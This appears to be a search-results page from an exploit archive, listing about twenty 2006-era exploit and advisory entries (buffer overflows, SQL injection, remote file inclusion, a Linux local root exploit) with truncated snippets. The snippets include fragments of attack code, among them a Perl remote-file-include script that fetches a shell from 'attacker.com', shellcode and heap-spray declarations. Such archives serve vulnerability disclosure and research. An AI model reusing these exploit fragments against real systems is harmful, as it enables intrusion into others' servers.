2081 matches found
Novell eDirectory 9.0 - DHost Remote Buffer Overflow
Novell eDirectory 9.0 - DHost Remote Buffer Overflow / . \ \ \ \ | | / | | | | \ / / /\ \ / \ | \ / / / / 30\10\06 / || / / mm. dM8 YMMMb. dMM8 YMMMMb dMMM' YMMMb dMMMP There are doors I have yet to open YMMM MMM' windows I have yet to look through "MbdMP Going forward may not be the answer...
HP-UX 11.0 /bin/cu Privilege Escalation Exploit
No description provided by source. / Copyright c 2001 Zorgon All Rights Reserved The copyright notice above does not evidence any actual or intended publication of such source code. HP-UX /bin/cu exploit. Tested on HP-UX 11.00 [email protected] http://www.nightbird.free.fr / include stdio.h...
Xsok v1.02 "-xsokdir" local buffer overflow game exploit
No description provided by source. / 0x333xsok 2 = xsok 1.02 local game exploit Happy new year ! 2 : coded by c0wboy c 0x333 Outsiders Security Labs / www.0x333.org / include stdio.h include unistd.h define BIN "/usr/games/xsok" define RETADD 0xbffffa3c define SIZE 200 unsigned char shellcode = /...
Novell eDirectory 8.x - iMonitor HTTPSTK Buffer Overflow (1)
source: https://www.securityfocus.com/bid/20655/info The Novell eDirectory server iMonitor is prone to a stack-based buffer-overflow vulnerability because it fails to perform sufficient bounds checking on client-supplied data before copying it to a buffer. An attacker could leverage this issue to...
Casinosoft Casino Script 3.2 - config.php SQL Injection
Casinosoft Casino Script 3.2 - config.php SQL Injection source: https://www.securityfocus.com/bid/20646/info Casinosoft Casino Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue coul...
phpbbplusxl-rfi.txt
!/usr/bin/perl phpBB PlusXL 2.X biuld 272 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://www.xs4all.nl/hkicken/plusxl.htm use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd ! "END" $socke...
phpmyteam20-rfi.txt
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= phpMyTeam v2.0 = smileysdir Remote File Include Vulnerability -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Discovered by XORONturkish hacker...
OlateDownload 3.4 - details.php?page SQL Injection
OlateDownload 3.4 - details.php?page SQL Injection source: https://www.securityfocus.com/bid/20278/info OlateDownload is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input. A...
US-CERT Technical Cyber Security Alert TA06-270A -- Microsoft Internet Explorer WebViewFolderIcon ActiveX Vulnerability
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-270A Microsoft Internet Explorer WebViewFolderIcon ActiveX Vulnerability Original release date: September 27, 2006 Last revised: -- Source: US-CERT Systems Affected Microsoft Windows...
Microsoft Internet Explorer (Windows XP SP2) - VML Remote Buffer Overflow
Microsoft Internet Explorer Windows XP SP2 - VML Remote Buffer Overflow v: behavior: urlVMLRender; var heapSprayToAddress = 0x05050505; var payLoadCode =...
Microsoft Internet Explorer (Windows XP SP2) - 'VML' Remote Buffer Overflow
v: behavior: urlVMLRender; var heapSprayToAddress = 0x05050505; var payLoadCode =...
ProgSys <= 0.156 (RR.php) Remote File Include Exploit
Exploit for unknown platform in category web applications ===================================================== ProgSys = 0.156 RR.php Remote File Include Exploit ===================================================== !/usr/bin/perl use LWP::UserAgent; ::::::::: :::::::::: ::: ::: ::::::::::: :::...
ZilekPortal 1.0 - Haberdetay.asp SQL Injection
ZilekPortal 1.0 - Haberdetay.asp SQL Injection source: https://www.securityfocus.com/bid/20062/info ZilekPortal is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit could allow an...
hotplugCMSconfig.txt
Hello HotPlug CMS Config File Include Vulnerability Discovered by : HACKERS PAL Copyrights : HACKERS PAL Website : WwW.SoQoR.NeT Email : [email protected] After Script Url Add includes/class/config.inc And you will download the config file ,, so that you will be able to connect by remote connect...
Streamripper 1.61.25 - HTTP Header Parsing Buffer Overflow (1)
/ . \ \ \ \ | | / | | | | \ / / /\ \ / \ | \ / / / / 29\08\06 / || / / mm. dM8 YMMMb. dMM8 YMMMMb dMMM' YMMMb dMMMP There are doors I have yet to open YMMM MMM' windows I have yet to look through "MbdMP Going forward may not be the answer .dMMMMMM.P dMM MMMMMM maybe I should go back...
Bad ext3/nfs DoS bug
I've tried contacting the relevant maintainers directly, and it's even in the kernel bugzilla, but nothing's happened and it's been over a month now. No-one seems to be doing anyting about this. Is one meant to post this to bugtraq or what? Here's the bug:...
PHP Forge <= 3 beta 2 (cfg_racine) Remote File Inclusion Vulnerability
No description provided by source. \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ phpforge3b2cfgracine Remote File Inclusion Vulnerability ------------------------ Virangar Security Team www.virangar.org public www.virangar.net priv8 -------- Discoverd By : Snake...
Cisco MARS < 4.2.1 remote compromise
Cisco MARS Monitoring, Analysis and Response System, sometimes referred to as CS-MARS prior to version 4.2.1 ships with an unprotected JBoss installation which ultimately leads to a complete compromise of the device. The caveat here is that, despite much work on Cisco's part, they were not able t...
Linux Kernel <= 2.6.17.4 (proc) Local Root Exploit
Exploit for linux platform in category local exploits ================================================== Linux Kernel Example: h00lyshit /usr/X11R6/lib/libethereal.so.0.0.1 if y0u dont have one, make big file 100MB in /tmp with dd and try to junk the cache e.g. cat /usr/lib/ /dev/null / include...
Flipper Poll <= 1.1.0 Remote File Inclusion Vulnerability
Flipper Poll = 1.1.0 Remote File Inclusion Vulnerability ------------------------------------------ Discoverd By: XORON ------------------------------------------ cont@ct: x0r0nathotmaildotcom ------------------------------------------ Exploit: http://sitename.com/path/poll.php?rootpath=evilscrip...